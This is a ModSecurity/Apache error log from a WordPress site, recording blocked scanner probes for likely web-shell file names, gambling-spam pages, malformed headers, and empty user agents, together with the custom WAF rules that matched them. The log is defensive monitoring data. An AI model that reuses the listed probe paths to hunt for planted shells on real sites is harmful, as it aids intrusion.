[Tue Apr 14 00:27:26.345048 2026] [:error] [pid 63311:tid 63373] [client 40.89.166.87:34004] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "ad0ZbqHjrGN1MqBCVFk-KgAAAII"]
[Tue Apr 14 00:27:28.636921 2026] [:error] [pid 9314:tid 9328] [client 40.89.166.87:49719] [client 40.89.166.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "ad0ZcG_r4W8fX2GWyGR3NAAAAYw"]
[Tue Apr 14 00:27:30.258757 2026] [:error] [pid 63311:tid 63389] [client 40.89.166.87:58886] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "ad0ZcqHjrGN1MqBCVFk-MAAAAJI"]
[Tue Apr 14 00:28:09.705072 2026] [:error] [pid 63311:tid 63377] [client 40.89.166.87:50225] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-01ul.php"] [unique_id "ad0ZmaHjrGN1MqBCVFk-XQAAAIY"]
[Tue Apr 14 00:28:25.828127 2026] [:error] [pid 63311:tid 63385] [client 40.89.166.87:38850] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "ad0ZqaHjrGN1MqBCVFk-awAAAI4"]
[Tue Apr 14 00:28:27.417116 2026] [:error] [pid 63406:tid 63413] [client 40.89.166.87:41534] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "ad0Zq7HZEIkQ0Zmgp5pRRgAAAMI"]
[Tue Apr 14 00:28:31.110617 2026] [:error] [pid 9314:tid 9320] [client 40.89.166.87:21263] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "ad0Zr2_r4W8fX2GWyGR3ywAAAYQ"]
[Tue Apr 14 00:28:32.366940 2026] [:error] [pid 63406:tid 63411] [client 40.89.166.87:59518] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e7.php"] [unique_id "ad0ZsLHZEIkQ0Zmgp5pRWgAAAMA"]
[Tue Apr 14 00:28:41.901986 2026] [:error] [pid 7228:tid 7254] [client 40.89.166.87:44368] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e3.php"] [unique_id "ad0ZuQEnn1dQrOSHHNXdlwAAARg"]
[Tue Apr 14 00:28:50.548673 2026] [:error] [pid 57183:tid 57205] [client 40.89.166.87:51147] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "ad0ZwjDO3t8R5NaxzYS3qwAAAVQ"]
[Tue Apr 14 00:30:17.959761 2026] [:error] [pid 9314:tid 9323] [client 40.89.166.87:39338] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260325043000.php"] [unique_id "ad0aGW_r4W8fX2GWyGR4oQAAAYc"]
[Tue Apr 14 00:30:20.941236 2026] [:error] [pid 63311:tid 63380] [client 40.89.166.87:57346] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260325043000.php"] [unique_id "ad0aHKHjrGN1MqBCVFk-2gAAAIk"]
[Tue Apr 14 00:30:26.528694 2026] [:error] [pid 63311:tid 63382] [client 40.89.166.87:21531] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260325043000.php"] [unique_id "ad0aIqHjrGN1MqBCVFk-4wAAAIs"]
[Tue Apr 14 00:30:27.817084 2026] [:error] [pid 63406:tid 63414] [client 40.89.166.87:51803] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260325043000.php"] [unique_id "ad0aI7HZEIkQ0Zmgp5pSgwAAAMM"]
[Tue Apr 14 00:30:36.804878 2026] [:error] [pid 57183:tid 57207] [client 40.89.166.87:51790] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260401065719.php"] [unique_id "ad0aLDDO3t8R5NaxzYS42AAAAVY"]
[Tue Apr 14 00:30:38.384300 2026] [:error] [pid 9314:tid 9335] [client 40.89.166.87:58007] [client 40.89.166.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods_260401065719.php"] [unique_id "ad0aLm_r4W8fX2GWyGR4vAAAAZM"]
[Tue Apr 14 01:56:38.974876 2026] [:error] [pid 59914:tid 59948] [client 170.106.161.78:43250] [client 170.106.161.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad0uVuq0YMmB3OWbbUlT0gAAAEQ"]
[Tue Apr 14 04:42:07.510823 2026] [:error] [pid 19689:tid 19756] [client 182.42.105.144:59594] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad1VH5WU15arjG3aJyRK-gAAAIE"]
[Tue Apr 14 06:15:34.976358 2026] [:error] [pid 64393:tid 64403] [client 54.37.252.118:59306] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ad1rBuClKltJhW50hKPjOAAAAQg"]
[Tue Apr 14 06:15:37.538801 2026] [:error] [pid 19689:tid 19767] [client 54.37.252.118:51520] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ad1rCZWU15arjG3aJyRmKAAAAIw"]
[Tue Apr 14 06:15:39.992874 2026] [:error] [pid 64393:tid 64416] [client 54.37.252.118:51534] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ad1rC-ClKltJhW50hKPjOgAAARU"]
[Tue Apr 14 06:15:42.388213 2026] [:error] [pid 19689:tid 19776] [client 54.37.252.118:51550] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ad1rDpWU15arjG3aJyRmMgAAAJU"]
[Tue Apr 14 06:15:44.777692 2026] [:error] [pid 64393:tid 64415] [client 54.37.252.118:43966] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ad1rEOClKltJhW50hKPjSAAAARQ"]
[Tue Apr 14 06:15:47.554690 2026] [:error] [pid 19793:tid 19810] [client 54.37.252.118:43968] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ad1rEwGEQsZw9TkmIA4tywAAAM8"]
[Tue Apr 14 06:15:50.006297 2026] [:error] [pid 64393:tid 64407] [client 54.37.252.118:43974] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ad1rFuClKltJhW50hKPjSgAAAQw"]
[Tue Apr 14 06:15:52.440726 2026] [:error] [pid 19793:tid 19819] [client 54.37.252.118:43986] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ad1rGAGEQsZw9TkmIA4t3AAAANg"]
[Tue Apr 14 06:15:54.878884 2026] [:error] [pid 64393:tid 64397] [client 54.37.252.118:60234] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ad1rGuClKltJhW50hKPjUAAAAQI"]
[Tue Apr 14 06:15:57.274017 2026] [:error] [pid 19689:tid 19771] [client 54.37.252.118:60238] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ad1rHZWU15arjG3aJyRmRAAAAJA"]
[Tue Apr 14 06:15:57.895632 2026] [:error] [pid 19687:tid 19709] [client 54.37.252.118:60254] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad1rHWBZImnR12CCWFo_ewAAAA0"]
[Tue Apr 14 06:15:59.750815 2026] [:error] [pid 19793:tid 19817] [client 54.37.252.118:60262] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ad1rHwGEQsZw9TkmIA4t5AAAANY"]
[Tue Apr 14 06:16:02.260638 2026] [:error] [pid 19689:tid 19772] [client 54.37.252.118:60270] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ad1rIpWU15arjG3aJyRmSwAAAJE"]
[Tue Apr 14 06:16:02.339474 2026] [:error] [pid 19689:tid 19766] [client 54.37.252.118:60284] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad1rIpWU15arjG3aJyRmTAAAAIs"]
[Tue Apr 14 06:16:04.698069 2026] [:error] [pid 19688:tid 19744] [client 54.37.252.118:52454] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ad1rJIHoi57o76xPstLJPgAAAFA"]
[Tue Apr 14 06:16:07.164120 2026] [:error] [pid 19793:tid 19808] [client 54.37.252.118:52468] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ad1rJwGEQsZw9TkmIA4t6QAAAM0"]
[Tue Apr 14 06:16:09.663570 2026] [:error] [pid 19687:tid 19705] [client 54.37.252.118:52478] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ad1rKWBZImnR12CCWFo_ggAAAAk"]
[Tue Apr 14 06:16:12.099578 2026] [:error] [pid 64393:tid 64405] [client 54.37.252.118:52480] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad1rLOClKltJhW50hKPjbgAAAQo"]
[Tue Apr 14 06:16:14.644567 2026] [:error] [pid 64393:tid 64415] [client 54.37.252.118:53316] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ad1rLuClKltJhW50hKPjeAAAARQ"]
[Tue Apr 14 06:16:17.054075 2026] [:error] [pid 19793:tid 19816] [client 54.37.252.118:53320] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ad1rMQGEQsZw9TkmIA4t7wAAANU"]
[Tue Apr 14 06:16:19.474154 2026] [:error] [pid 64393:tid 64401] [client 54.37.252.118:53332] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ad1rM-ClKltJhW50hKPjhgAAAQY"]
[Tue Apr 14 06:16:21.940299 2026] [:error] [pid 64393:tid 64407] [client 54.37.252.118:53336] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ad1rNeClKltJhW50hKPjjwAAAQw"]
[Tue Apr 14 06:16:24.536143 2026] [:error] [pid 64393:tid 64403] [client 54.37.252.118:53346] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ad1rOOClKltJhW50hKPjlAAAAQg"]
[Tue Apr 14 06:16:26.924382 2026] [:error] [pid 64393:tid 64405] [client 54.37.252.118:38374] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ad1rOuClKltJhW50hKPjnAAAAQo"]
[Tue Apr 14 06:16:29.289733 2026] [:error] [pid 64393:tid 64395] [client 54.37.252.118:38376] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ad1rPeClKltJhW50hKPjowAAAQA"]
[Tue Apr 14 06:29:39.917385 2026] [:error] [pid 32943:tid 33020] [client 216.73.216.221:43112] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad1uUwtqsULtpZz5NS16ogAAAJM"]
[Tue Apr 14 06:35:36.544043 2026] [autoindex:error] [pid 35628:tid 35638] [client 185.82.72.117:42831] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 14 07:45:25.686642 2026] [:error] [pid 35713:tid 35734] [client 216.73.216.221:2146] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:User-Agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad2AFa6-hhx6ZepqOSmuIwAAANI"]
[Tue Apr 14 07:45:31.861370 2026] [:error] [pid 37226:tid 37243] [client 216.73.216.221:21197] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||www.vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad2AG5OA5-IQ0IVmQCqydwAAAU8"], referer: http://www.vetstars.com.au/robots.txt
[Tue Apr 14 07:45:40.701541 2026] [:error] [pid 35628:tid 35654] [client 216.73.216.221:4435] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "ad2AJOfPm-ozGuwCWXKjnQAAABY"], referer: https://www.vetstars.com.au/robots.txt
[Tue Apr 14 12:32:41.565962 2026] [:error] [pid 35630:tid 35698] [client 106.54.62.156:37072] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ad3DaTer0pVFxOiOauXshwAAAIw"]
[Tue Apr 14 13:12:46.073171 2026] [:error] [pid 18776:tid 18801] [client 147.135.214.166:40266] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ad3MzsIjIcAYZxezzAWbsgAAAdc"]
[Tue Apr 14 13:12:48.475211 2026] [:error] [pid 35629:tid 35676] [client 147.135.214.166:41174] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ad3M0DY8VahzC1YJBSjjhQAAAFE"]
[Tue Apr 14 13:12:50.880932 2026] [:error] [pid 4902:tid 4918] [client 147.135.214.166:41184] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ad3M0ov8vJvl9lGy39hZrAAAAY4"]
[Tue Apr 14 13:12:53.377965 2026] [:error] [pid 18776:tid 18802] [client 147.135.214.166:41194] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ad3M1cIjIcAYZxezzAWbtgAAAdg"]
